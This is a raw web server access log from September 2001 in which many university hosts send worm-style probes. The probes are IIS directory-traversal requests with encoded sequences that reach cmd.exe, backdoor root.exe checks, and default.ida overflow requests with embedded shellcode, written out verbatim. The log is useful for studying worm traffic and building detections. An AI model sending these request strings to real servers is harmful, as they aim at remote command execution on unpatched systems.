[128.9.176.131] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:31: ras31.isi.edu [128.9.176.131] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:35: ras31.isi.edu [128.9.176.131] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:39: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:43: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:47: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:51: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:55: ras31.isi.edu [128.9.176.131] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:00: ras31.isi.edu [128.9.176.131] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:04: ras31.isi.edu [128.9.176.131] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:53:12: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:53:12: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:12: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:12: ras31.isi.edu [128.9.176.131] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:53:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 11:00:19: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:01:45: mgpc3.as.arizona.edu [128.196.248.35] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:01:46: mgpc3.as.arizona.edu [128.196.248.35] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:46: mgpc3.as.arizona.edu [128.196.248.35] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:47: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:47: mgpc3.as.arizona.edu [128.196.248.35] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:47: mgpc3.as.arizona.edu [128.196.248.35] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:48: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:49: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:49: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:49: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:50: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:50: mgpc3.as.arizona.edu [128.196.248.35] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:01:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:29: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:02:33: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:35: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:36: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: LAW-PC150.BU.EDU [128.197.170.226] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:03:37: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:05:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:06: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:06:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:06:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:06:49: [213.214.81.254] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:12:37: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:15:01: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:15:05: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:15:08: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:15:11: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:15:16: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:15:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:16:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:16:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:16:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:49: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:50: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:50: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:16:50: dialup-cc3-82.cc.columbia.edu [128.59.42.187] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 11:18:51: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:21:11: hudson.hksm.columbia.edu [128.59.51.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:21:11: 